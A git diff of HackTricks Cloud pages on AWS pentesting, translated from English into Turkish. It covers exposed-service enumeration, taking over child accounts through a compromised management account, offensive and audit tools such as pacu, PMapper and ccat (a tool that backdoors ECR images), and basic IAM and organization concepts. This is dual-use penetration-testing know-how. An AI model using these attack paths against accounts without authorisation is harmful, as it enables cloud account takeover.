-While enumerating AWS services you might have found some of them **exposing elements to the Internet** (VM/Containers ports, databases or queue services, snapshots or buckets...).\
-As pentester/red teamer you should always check if you can find **sensitive information / vulnerabilities** on them as they might provide you **further access into the AWS account**.
+AWS hizmetlerini listeleme sırasında bazılarını **İnternete açık öğeler** (VM/Konteyner portları, veritabanları veya kuyruk hizmetleri, anlık görüntüler veya kovalar...) sunduğunu bulmuş olabilirsiniz.\
+Pentester/kırmızı takım üyesi olarak, bunlarda **hassas bilgiler / zafiyetler** bulup bulamayacağınızı her zaman kontrol etmelisiniz, çünkü bunlar size **AWS hesabına daha fazla erişim** sağlayabilir.
-In this book you should find **information** about how to find **exposed AWS services and how to check them**. About how to find **vulnerabilities in exposed network services** I would recommend you to **search** for the specific **service** in:
+Bu kitapta **açık AWS hizmetlerini bulma ve bunları kontrol etme** hakkında **bilgi** bulmalısınız. **Açık ağ hizmetlerinde zafiyetler bulma** hakkında, belirli **hizmeti** aramanızı öneririm:
{{#ref}}
https://book.hacktricks.xyz/
@@ -154,52 +152,49 @@ https://book.hacktricks.xyz/
### From the root/management account
-When the management account creates new accounts in the organization, a **new role** is created in the new account, by default named **`OrganizationAccountAccessRole`** and giving **AdministratorAccess** policy to the **management account** to access the new account.
+Yönetim hesabı organizasyonda yeni hesaplar oluşturduğunda, yeni hesapta varsayılan olarak **`OrganizationAccountAccessRole`** adı verilen **yeni bir rol** oluşturulur ve **yönetim hesabına** yeni hesaba erişim için **AdministratorAccess** politikası verilir.
-So, in order to access as administrator a child account you need:
+Bu nedenle, bir çocuk hesaba yönetici olarak erişmek için şunlara ihtiyacınız var:
-- **Compromise** the **management** account and find the **ID** of the **children accounts** and the **names** of the **role** (OrganizationAccountAccessRole by default) allowing the management account to access as admin.
- - To find children accounts go to the organizations section in the aws console or run `aws organizations list-accounts`
- - You cannot find the name of the roles directly, so check all the custom IAM policies and search any allowing **`sts:AssumeRole` over the previously discovered children accounts**.
-- **Compromise** a **principal** in the management account with **`sts:AssumeRole` permission over the role in the children accounts** (even if the account is allowing anyone from the management account to impersonate, as its an external account, specific `sts:AssumeRole` permissions are necessary).
+- **Yönetim** hesabını **ele geçirmek** ve **çocuk hesapların** **ID'sini** ve **rolün** **isimlerini** (varsayılan olarak OrganizationAccountAccessRole) bulmak, yönetim hesabının yönetici olarak erişmesine izin verir.
+- Çocuk hesapları bulmak için AWS konsolundaki organizasyonlar bölümüne gidin veya `aws organizations list-accounts` komutunu çalıştırın.
+- Rollerin adını doğrudan bulamazsınız, bu nedenle tüm özel IAM politikalarını kontrol edin ve **önceden keşfedilen çocuk hesaplar üzerinde `sts:AssumeRole` izni veren herhangi birini arayın**.
+- Yönetim hesabındaki bir **prensibi** **çocuk hesaplardaki rol üzerinde `sts:AssumeRole` izni ile ele geçirin** (hesap, yönetim hesabından herhangi birinin taklit etmesine izin veriyorsa, dış bir hesap olduğu için belirli `sts:AssumeRole` izinleri gereklidir).
## Automated Tools
### Recon
-- [**aws-recon**](https://github.com/darkbitio/aws-recon): A multi-threaded AWS security-focused **inventory collection tool** written in Ruby.
-
+- [**aws-recon**](https://github.com/darkbitio/aws-recon): Ruby ile yazılmış çok iş parçacıklı AWS güvenlik odaklı **envanter toplama aracı**.
```bash
# Install
gem install aws_recon
# Recon and get json
AWS_PROFILE= aws_recon \
- --services S3,EC2 \
- --regions global,us-east-1,us-east-2 \
- --verbose
+--services S3,EC2 \
+--regions global,us-east-1,us-east-2 \
+--verbose
```
-
-- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist is a **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) from Cloud Providers.
-- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper helps you analyze your Amazon Web Services (AWS) environments. It now contains much more functionality, including auditing for security issues.
-
+- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist, Bulut Sağlayıcılarından Varlıklar (Host Adları, IP Adresleri) almak için **çoklu bulut aracı**dır.
+- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper, Amazon Web Services (AWS) ortamlarınızı analiz etmenize yardımcı olur. Artık güvenlik sorunları için denetim de dahil olmak üzere çok daha fazla işlevsellik içermektedir.
```bash
# Installation steps in github
# Create a config.json file with the aws info, like:
{
- "accounts": [
- {
- "default": true,
- "id": "",
- "name": "dev"
- }
- ],
- "cidrs":
- {
- "2.2.2.2/28": {"name": "NY Office"}
- }
+"accounts": [
+{
+"default": true,
+"id": "",
+"name": "dev"
+}
+],
+"cidrs":
+{
+"2.2.2.2/28": {"name": "NY Office"}
+}
}
# Enumerate
@@ -229,9 +224,7 @@ python3 cloudmapper.py public --accounts dev
python cloudmapper.py prepare #Prepare webserver
python cloudmapper.py webserver #Show webserver
```
-
-- [**cartography**](https://github.com/lyft/cartography): Cartography is a Python tool that consolidates infrastructure assets and the relationships between them in an intuitive graph view powered by a Neo4j database.
-
+- [**cartography**](https://github.com/lyft/cartography): Cartography, Neo4j veritabanası tarafından desteklenen sezgisel bir grafik görünümünde altyapı varlıklarını ve bunlar arasındaki ilişkileri birleştiren bir Python aracıdır.
```bash
# Install
pip install cartography
@@ -240,17 +233,15 @@ pip install cartography
# Get AWS info
AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt --neo4j-user neo4j
```
-
-- [**starbase**](https://github.com/JupiterOne/starbase): Starbase collects assets and relationships from services and systems including cloud infrastructure, SaaS applications, security controls, and more into an intuitive graph view backed by the Neo4j database.
-- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Uses python2) This is a tool that tries to **discover all** [**AWS resources**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) created in an account.
-- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): It's a tool to **fetch all public IP addresses** (both IPv4/IPv6) associated with an AWS account.
+- [**starbase**](https://github.com/JupiterOne/starbase): Starbase, bulut altyapısı, SaaS uygulamaları, güvenlik kontrolleri ve daha fazlası dahil olmak üzere hizmetlerden ve sistemlerden varlıkları ve ilişkileri Neo4j veritabanı destekli sezgisel bir grafik görünümünde toplar.
+- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (python2 kullanır) Bu, bir hesapta oluşturulan tüm [**AWS kaynaklarını**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) **keşfetmeye** çalışan bir araçtır.
+- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): Bu, bir AWS hesabıyla ilişkili **tüm genel IP adreslerini** (hem IPv4/IPv6) **alma** aracı.
### Privesc & Exploiting
-- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Discover the most privileged users in the scanned AWS environment, including the AWS Shadow Admins. It uses powershell. You can find the **definition of privileged policies** in the function **`Check-PrivilegedPolicy`** in [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
-- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu is an open-source **AWS exploitation framework**, designed for offensive security testing against cloud environments. It can **enumerate**, find **miss-configurations** and **exploit** them. You can find the **definition of privileged permissions** in [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) inside the **`user_escalation_methods`** dict.
- - Note that pacu **only checks your own privescs paths** (not account wide).
-
+- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Taranan AWS ortamındaki en ayrıcalıklı kullanıcıları, AWS Shadow Admin'leri de dahil olmak üzere keşfedin. PowerShell kullanır. **`Check-PrivilegedPolicy`** fonksiyonunda **ayrıcalıklı politikaların tanımını** bulabilirsiniz [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
+- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu, bulut ortamlarına karşı saldırgan güvenlik testleri için tasarlanmış açık kaynaklı bir **AWS exploitation framework**'üdür. **Numaralandırabilir**, **yanlış yapılandırmaları** bulabilir ve bunları **istismar edebilir**. **`user_escalation_methods`** dict içinde [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) adresinde **ayrıcalıklı izinlerin tanımını** bulabilirsiniz.
+- Pacu'nun **sadece kendi privesc yollarınızı kontrol ettiğini** unutmayın (hesap genelinde değil).
```bash
# Install
## Feel free to use venvs
@@ -264,9 +255,7 @@ pacu
> exec iam__enum_permissions # Get permissions
> exec iam__privesc_scan # List privileged permissions
```
-
-- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) is a script and library for identifying risks in the configuration of AWS Identity and Access Management (IAM) for an AWS account or an AWS organization. It models the different IAM Users and Roles in an account as a directed graph, which enables checks for **privilege escalation** and for alternate paths an attacker could take to gain access to a resource or action in AWS. You can check the **permissions used to find privesc** paths in the filenames ended in `_edges.py` in [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
-
+- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper), bir AWS hesabı veya AWS organizasyonu için AWS Kimlik ve Erişim Yönetimi (IAM) yapılandırmasındaki riskleri belirlemek için bir script ve kütüphanedir. Farklı IAM Kullanıcıları ve Rolleri, bir hesabın yönlendirilmiş grafiği olarak modellenir; bu, **yetki yükseltme** ve bir saldırganın AWS'deki bir kaynağa veya eyleme erişim kazanmak için alabileceği alternatif yolları kontrol etmeyi sağlar. **Privesc** yollarını bulmak için kullanılan **izinleri** kontrol edebilirsiniz, dosya adları `_edges.py` ile biten [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing) adresinde.
```bash
# Install
pip install principalmapper
@@ -288,10 +277,8 @@ pmapper --profile dev query 'preset privesc *' # Get privescs with admins
pmapper --profile dev orgs create
pmapper --profile dev orgs display
```
-
-- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining is an AWS IAM Security Assessment tool that identifies violations of least privilege and generates a risk-prioritized HTML report.\
- It will show you potentially **over privileged** customer, inline and aws **policies** and which **principals has access to them**. (It not only checks for privesc but also other kind of interesting permissions, recommended to use).
-
+- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining, en az ayrıcalık ihlallerini tanımlayan ve risk öncelikli bir HTML raporu oluşturan bir AWS IAM Güvenlik Değerlendirme aracıdır.\
+Bu araç, potansiyel olarak **aşırı ayrıcalıklı** müşteri, inline ve aws **politikalarını** ve hangi **prensiplerin bunlara erişimi olduğunu** gösterecektir. (Bu sadece privesc kontrolü yapmakla kalmaz, aynı zamanda diğer ilginç izinleri de kontrol eder, kullanılması önerilir).
```bash
# Install
pip install cloudsplaining
@@ -303,24 +290,20 @@ cloudsplaining download --profile dev
# Analyze the IAM policies
cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/
```
+- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack, ayrılmış Route53 ve CloudFront yapılandırmaları sonucunda **alt alan kaçırma açıklarını** değerlendirmek için AWS hesaplarını analiz eder.
+- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): ECR depolarını listele -> ECR deposunu çek -> Arka kapı ekle -> Arka kapılı görüntüyü it.
+- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag, yanlışlıkla bırakılmış olabilecek **gizli bilgileri** bulmak için kamuya açık Elastic Block Storage (**EBS**) anlık görüntülerini **arama** yapan bir araçtır.
-- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack assesses AWS accounts for **subdomain hijacking vulnerabilities** as a result of decoupled Route53 and CloudFront configurations.
-- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): List ECR repos -> Pull ECR repo -> Backdoor it -> Push backdoored image
-- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag is a tool that **searches** through public Elastic Block Storage (**EBS) snapshots for secrets** that may have been accidentally left in.
-
-### Audit
-
-- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit by Aqua is an open-source project designed to allow detection of **security risks in cloud infrastructure** accounts, including: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), and GitHub (It doesn't look for ShadowAdmins).
+### Denetim
+- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** Aqua tarafından geliştirilen CloudSploit, Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI) ve GitHub dahil olmak üzere **bulut altyapısındaki güvenlik risklerini** tespit etmeye yönelik açık kaynak bir projedir (ShadowAdmins için arama yapmaz).
```bash
./index.js --csv=file.csv --console=table --config ./config.js
# Compiance options: --compliance {hipaa,cis,cis1,cis2,pci}
## use "cis" for cis level 1 and 2
```
-
-- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler is an Open Source security tool to perform AWS security best practices assessments, audits, incident response, continuous monitoring, hardening and forensics readiness.
-
+- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler, AWS güvenlik en iyi uygulamaları değerlendirmeleri, denetimleri, olay yanıtı, sürekli izleme, sertleştirme ve adli hazırlık yapmak için bir Açık Kaynak güvenlik aracıdır.
```bash
# Install python3, jq and git
# Install
@@ -331,15 +314,11 @@ prowler -v
prowler
prowler aws --profile custom-profile [-M csv json json-asff html]
```
-
-- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox helps you gain situational awareness in unfamiliar cloud environments. It’s an open source command line tool created to help penetration testers and other offensive security professionals find exploitable attack paths in cloud infrastructure.
-
+- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox, tanıdık olmayan bulut ortamlarında durum farkındalığı kazanmanıza yardımcı olur. Penetrasyon test uzmanları ve diğer saldırgan güvenlik profesyonellerinin bulut altyapısında istismar edilebilir saldırı yollarını bulmalarına yardımcı olmak için oluşturulmuş açık kaynaklı bir komut satırı aracıdır.
```bash
cloudfox aws --profile [profile-name] all-checks
```
-
-- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite is an open source multi-cloud security-auditing tool, which enables security posture assessment of cloud environments.
-
+- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite, bulut ortamlarının güvenlik durumu değerlendirmesine olanak tanıyan açık kaynaklı çoklu bulut güvenlik denetim aracıdır.
```bash
# Install
virtualenv -p python3 venv
@@ -350,18 +329,16 @@ scout --help
# Get info
scout aws -p dev
```
+- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Bulut Güvenliği Paketi (python2.7 kullanır ve bakımsız görünüyor)
+- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus, AWS EC2 / S3 / CloudTrail / CloudWatch / KMS için güçlü bir en iyi sertleştirme uygulamaları aracıdır (bakımsız görünüyor). Sadece sistem içindeki varsayılan yapılandırılmış kimlik bilgilerini kontrol eder.
-- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (uses python2.7 and looks unmaintained)
-- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus is a powerful tool for AWS EC2 / S3 / CloudTrail / CloudWatch / KMS best hardening practices (looks unmaintained). It checks only default configured creds inside the system.
+### Sürekli Denetim
-### Constant Audit
-
-- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian is a rules engine for managing public cloud accounts and resources. It allows users to **define policies to enable a well managed cloud infrastructure**, that's both secure and cost optimized. It consolidates many of the adhoc scripts organizations have into a lightweight and flexible tool, with unified metrics and reporting.
-- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** is a platform for **continuous compliance monitoring, compliance reporting and security automation for the clou**d. In PacBot, security and compliance policies are implemented as code. All resources discovered by PacBot are evaluated against these policies to gauge policy conformance. The PacBot **auto-fix** framework provides the ability to automatically respond to policy violations by taking predefined actions.
-- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert is a serverless, **real-time** data analysis framework which empowers you to **ingest, analyze, and alert** on data from any environment, u**sing data sources and alerting logic you define**. Computer security teams use StreamAlert to scan terabytes of log data every day for incident detection and response.
-
-## DEBUG: Capture AWS cli requests
+- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian, kamu bulut hesaplarını ve kaynaklarını yönetmek için bir kurallar motorudur. Kullanıcılara **iyi yönetilen bir bulut altyapısını etkinleştirmek için politikalar tanımlama** imkanı sunar; bu, hem güvenli hem de maliyet açısından optimize edilmiştir. Birçok kuruluşun elden geçirilmiş betiklerini hafif ve esnek bir araca dönüştürerek, birleşik metrikler ve raporlama ile birleştirir.
+- [**pacbot**](https://github.com/tmobile/pacbot)**: Kod Olarak Politika Botu (PacBot)**, bulut için **sürekli uyum izleme, uyum raporlama ve güvenlik otomasyonu** platformudur. PacBot'ta, güvenlik ve uyum politikaları kod olarak uygulanır. PacBot tarafından keşfedilen tüm kaynaklar, politika uyumunu değerlendirmek için bu politikalara karşı değerlendirilir. PacBot'un **otomatik düzeltme** çerçevesi, önceden tanımlanmış eylemleri alarak politika ihlallerine otomatik olarak yanıt verme yeteneği sağlar.
+- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert, herhangi bir ortamdan veri **almayı, analiz etmeyi ve uyarı vermeyi** sağlayan sunucusuz, **gerçek zamanlı** bir veri analiz çerçevesidir; **veri kaynakları ve uyarı mantığını tanımlayarak** kullanabilirsiniz. Bilgisayar güvenliği ekipleri, olay tespiti ve yanıtı için her gün terabaytlarca günlük verisini taramak için StreamAlert'ı kullanır.
+## DEBUG: AWS cli isteklerini yakala
```bash
# Set proxy
export HTTP_PROXY=http://localhost:8080
@@ -380,14 +357,9 @@ export AWS_CA_BUNDLE=~/Downloads/certificate.pem
# Run aws cli normally trusting burp cert
aws ...
```
-
-## References
+## Referanslar
- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
- [https://cloudsecdocs.com/aws/defensive/tooling/audit/](https://cloudsecdocs.com/aws/defensive/tooling/audit/)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md
index 02e6e7729..779c87956 100644
--- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md
+++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md
@@ -1,331 +1,317 @@
-# AWS - Basic Information
+# AWS - Temel Bilgiler
{{#include ../../../banners/hacktricks-training.md}}
-## Organization Hierarchy
+## Organizasyon Hiyerarşisi
.png>)
-### Accounts
+### Hesaplar
-In AWS there is a **root account,** which is the **parent container for all the accounts** for your **organization**. However, you don't need to use that account to deploy resources, you can create **other accounts to separate different AWS** infrastructures between them.
+AWS'de bir **root hesabı** vardır, bu da **organizasyonunuz için tüm hesapların ana konteyneridir**. Ancak, kaynakları dağıtmak için bu hesabı kullanmanıza gerek yoktur, **farklı AWS** altyapılarını birbirinden ayırmak için **diğer hesaplar oluşturabilirsiniz**.
-This is very interesting from a **security** point of view, as **one account won't be able to access resources from other account** (except bridges are specifically created), so this way you can create boundaries between deployments.
+Bu, **güvenlik** açısından çok ilginçtir, çünkü **bir hesap diğer hesaptan kaynaklara erişemeyecektir** (özel köprüler oluşturulmadığı sürece), bu şekilde dağıtımlar arasında sınırlar oluşturabilirsiniz.
-Therefore, there are **two types of accounts in an organization** (we are talking about AWS accounts and not User accounts): a single account that is designated as the management account, and one or more member accounts.
+Bu nedenle, bir organizasyonda **iki tür hesap vardır** (AWS hesaplarından ve kullanıcı hesaplarından bahsediyoruz): yönetim hesabı olarak belirlenen tek bir hesap ve bir veya daha fazla üye hesabı.
-- The **management account (the root account)** is the account that you use to create the organization. From the organization's management account, you can do the following:
+- **Yönetim hesabı (root hesabı)**, organizasyonu oluşturmak için kullandığınız hesaptır. Organizasyonun yönetim hesabından aşağıdakileri yapabilirsiniz:
- - Create accounts in the organization
- - Invite other existing accounts to the organization
- - Remove accounts from the organization
- - Manage invitations
- - Apply policies to entities (roots, OUs, or accounts) within the organization
- - Enable integration with supported AWS services to provide service functionality across all of the accounts in the organization.
- - It's possible to login as the root user using the email and password used to create this root account/organization.
+- Organizasyonda hesaplar oluşturun
+- Diğer mevcut hesapları organizasyona davet edin
+- Organizasyondan hesapları kaldırın
+- Davetleri yönetin
+- Organizasyondaki varlıklara (root'lar, OU'lar veya hesaplar) politikalar uygulayın
+- Organizasyondaki tüm hesaplar arasında hizmet işlevselliği sağlamak için desteklenen AWS hizmetleriyle entegrasyonu etkinleştirin.
+- Bu root hesabı/organizasyonu oluşturmak için kullanılan e-posta ve şifre ile root kullanıcı olarak giriş yapmak mümkündür.
- The management account has the **responsibilities of a payer account** and is responsible for paying all charges that are accrued by the member accounts. You can't change an organization's management account.
-
-- **Member accounts** make up all of the rest of the accounts in an organization. An account can be a member of only one organization at a time. You can attach a policy to an account to apply controls to only that one account.
- - Member accounts **must use a valid email address** and can have a **name**, in general they wont be able to manage the billing (but they might be given access to it).
+Yönetim hesabı, **ödeyici hesabının sorumluluklarına** sahiptir ve üye hesaplar tarafından biriken tüm ücretleri ödemekten sorumludur. Bir organizasyonun yönetim hesabını değiştiremezsiniz.
+- **Üye hesaplar**, bir organizasyondaki tüm diğer hesapları oluşturur. Bir hesap, aynı anda yalnızca bir organizasyonun üyesi olabilir. Sadece o hesaba kontroller uygulamak için bir hesaba bir politika ekleyebilirsiniz.
+- Üye hesaplar **geçerli bir e-posta adresi kullanmalıdır** ve bir **isim** alabilir, genellikle faturalandırmayı yönetemezler (ancak buna erişim verilebilir).
```
aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com
```
+### **Organizasyon Birimleri**
-### **Organization Units**
-
-Accounts can be grouped in **Organization Units (OU)**. This way, you can create **policies** for the Organization Unit that are going to be **applied to all the children accounts**. Note that an OU can have other OUs as children.
-
+Hesaplar **Organizasyon Birimleri (OU)** içinde gruplandırılabilir. Bu şekilde, Organizasyon Birimi için **tüm alt hesaplara uygulanacak** **politikalar** oluşturabilirsiniz. Bir OU'nun altı olarak başka OU'lar da olabileceğini unutmayın.
```bash
# You can get the root id from aws organizations list-roots
aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
```
-
### Service Control Policy (SCP)
-A **service control policy (SCP)** is a policy that specifies the services and actions that users and roles can use in the accounts that the SCP affects. SCPs are **similar to IAM** permissions policies except that they **don't grant any permissions**. Instead, SCPs specify the **maximum permissions** for an organization, organizational unit (OU), or account. When you attach a SCP to your organization root or an OU, the **SCP limits permissions for entities in member accounts**.
+Bir **service control policy (SCP)**, SCP'nin etki ettiği hesaplarda kullanıcıların ve rollerin kullanabileceği hizmetleri ve eylemleri belirten bir politikadır. SCP'ler, **IAM** izin politikalarına **benzer**, ancak **hiçbir izin vermezler**. Bunun yerine, SCP'ler bir organizasyon, organizasyonel birim (OU) veya hesap için **maksimum izinleri** belirtir. Bir SCP'yi organizasyon kökünüze veya bir OU'ya eklediğinizde, **SCP, üye hesaplardaki varlıkların izinlerini sınırlar**.
-This is the ONLY way that **even the root user can be stopped** from doing something. For example, it could be used to stop users from disabling CloudTrail or deleting backups.\
-The only way to bypass this is to compromise also the **master account** that configures the SCPs (master account cannot be blocked).
+Bu, **root kullanıcının bile bir şey yapmasını durdurmanın TEK yoludur**. Örneğin, kullanıcıların CloudTrail'i devre dışı bırakmasını veya yedekleri silmesini durdurmak için kullanılabilir.\
+Bunu aşmanın tek yolu, SCP'leri yapılandıran **master account**'u da tehlikeye atmaktır (master account engellenemez).
> [!WARNING]
-> Note that **SCPs only restrict the principals in the account**, so other accounts are not affected. This means having an SCP deny `s3:GetObject` will not stop people from **accessing a public S3 bucket** in your account.
+> **SCP'ler yalnızca hesap içindeki ilkeleri kısıtlar**, bu nedenle diğer hesaplar etkilenmez. Bu, bir SCP'nin `s3:GetObject` iznini reddetmesinin, insanların **hesabınızdaki bir kamu S3 bucket'ına erişmesini durdurmayacağı** anlamına gelir.
-SCP examples:
+SCP örnekleri:
-- Deny the root account entirely
-- Only allow specific regions
-- Only allow white-listed services
-- Deny GuardDuty, CloudTrail, and S3 Public Block Access from
+- Root hesabını tamamen reddet
+- Sadece belirli bölgeleri izin ver
+- Sadece beyaz listeye alınmış hizmetlere izin ver
+- GuardDuty, CloudTrail ve S3 Public Block Access'in devre dışı bırakılmasını reddet
- being disabled
+- Güvenlik/olay yanıtı rollerinin silinmesini veya
-- Deny security/incident response roles from being deleted or
+değiştirilmesini reddet.
- modified.
+- Yedeklerin silinmesini reddet.
+- IAM kullanıcıları ve erişim anahtarları oluşturmayı reddet.
-- Deny backups from being deleted.
-- Deny creating IAM users and access keys
-
-Find **JSON examples** in [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)
+**JSON örneklerini** [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html) adresinde bulabilirsiniz.
### ARN
-**Amazon Resource Name** is the **unique name** every resource inside AWS has, its composed like this:
-
+**Amazon Resource Name**, AWS içindeki her kaynağın **benzersiz adıdır**, bu şekilde oluşturulmuştur:
```
arn:partition:service:region:account-id:resource-type/resource-id
arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env
```
-
-Note that there are 4 partitions in AWS but only 3 ways to call them:
+Not edin ki AWS'te 4 bölüm vardır ama bunları çağırmanın sadece 3 yolu vardır:
- AWS Standard: `aws`
- AWS China: `aws-cn`
- AWS US public Internet (GovCloud): `aws-us-gov`
- AWS Secret (US Classified): `aws`
-## IAM - Identity and Access Management
+## IAM - Kimlik ve Erişim Yönetimi
-IAM is the service that will allow you to manage **Authentication**, **Authorization** and **Access Control** inside your AWS account.
+IAM, AWS hesabınız içinde **Kimlik Doğrulama**, **Yetkilendirme** ve **Erişim Kontrolü** yönetmenizi sağlayan hizmettir.
-- **Authentication** - Process of defining an identity and the verification of that identity. This process can be subdivided in: Identification and verification.
-- **Authorization** - Determines what an identity can access within a system once it's been authenticated to it.
-- **Access Control** - The method and process of how access is granted to a secure resource
+- **Kimlik Doğrulama** - Bir kimliğin tanımlanması ve o kimliğin doğrulanması süreci. Bu süreç, Tanımlama ve doğrulama olarak alt bölümlere ayrılabilir.
+- **Yetkilendirme** - Bir kimliğin, sisteme kimlik doğrulaması yapıldıktan sonra neye erişebileceğini belirler.
+- **Erişim Kontrolü** - Güvenli bir kaynağa erişimin nasıl verileceği ile ilgili yöntem ve süreçtir.
-IAM can be defined by its ability to manage, control and govern authentication, authorization and access control mechanisms of identities to your resources within your AWS account.
+IAM, AWS hesabınızdaki kaynaklarınıza kimliklerin kimlik doğrulama, yetkilendirme ve erişim kontrol mekanizmalarını yönetme, kontrol etme ve yönetme yeteneği ile tanımlanabilir.
-### [AWS account root user](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html)
+### [AWS hesap kök kullanıcısı](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html)
-When you first create an Amazon Web Services (AWS) account, you begin with a single sign-in identity that has **complete access to all** AWS services and resources in the account. This is the AWS account _**root user**_ and is accessed by signing in with the **email address and password that you used to create the account**.
+Amazon Web Services (AWS) hesabı oluşturduğunuzda, hesabınızdaki tüm AWS hizmetlerine ve kaynaklarına **tam erişime sahip** tek bir oturum açma kimliği ile başlarsınız. Bu, AWS hesabının _**kök kullanıcısı**_dır ve **hesabı oluşturmak için kullandığınız e-posta adresi ve şifre ile oturum açarak** erişilir.
-Note that a new **admin user** will have **less permissions that the root user**.
+Yeni bir **admin kullanıcısının**, kök kullanıcıdan **daha az izin** alacağını unutmayın.
-From a security point of view, it's recommended to create other users and avoid using this one.
+Güvenlik açısından, diğer kullanıcıları oluşturmanız ve bu kullanıcıyı kullanmaktan kaçınmanız önerilir.
-### [IAM users](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html)
+### [IAM kullanıcıları](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html)
-An IAM _user_ is an entity that you create in AWS to **represent the person or application** that uses it to **interact with AWS**. A user in AWS consists of a name and credentials (password and up to two access keys).
+IAM _kullanıcısı_, AWS'de **AWS ile etkileşimde bulunan kişi veya uygulamayı temsil etmek** için oluşturduğunuz bir varlıktır. AWS'deki bir kullanıcı, bir isim ve kimlik bilgileri (şifre ve en fazla iki erişim anahtarı) içerir.
-When you create an IAM user, you grant it **permissions** by making it a **member of a user group** that has appropriate permission policies attached (recommended), or by **directly attaching policies** to the user.
+Bir IAM kullanıcısı oluşturduğunuzda, ona uygun izin politikaları eklenmiş bir **kullanıcı grubunun üyesi** yaparak (önerilir) veya **doğrudan politikalar ekleyerek** **izinler** verirsiniz.
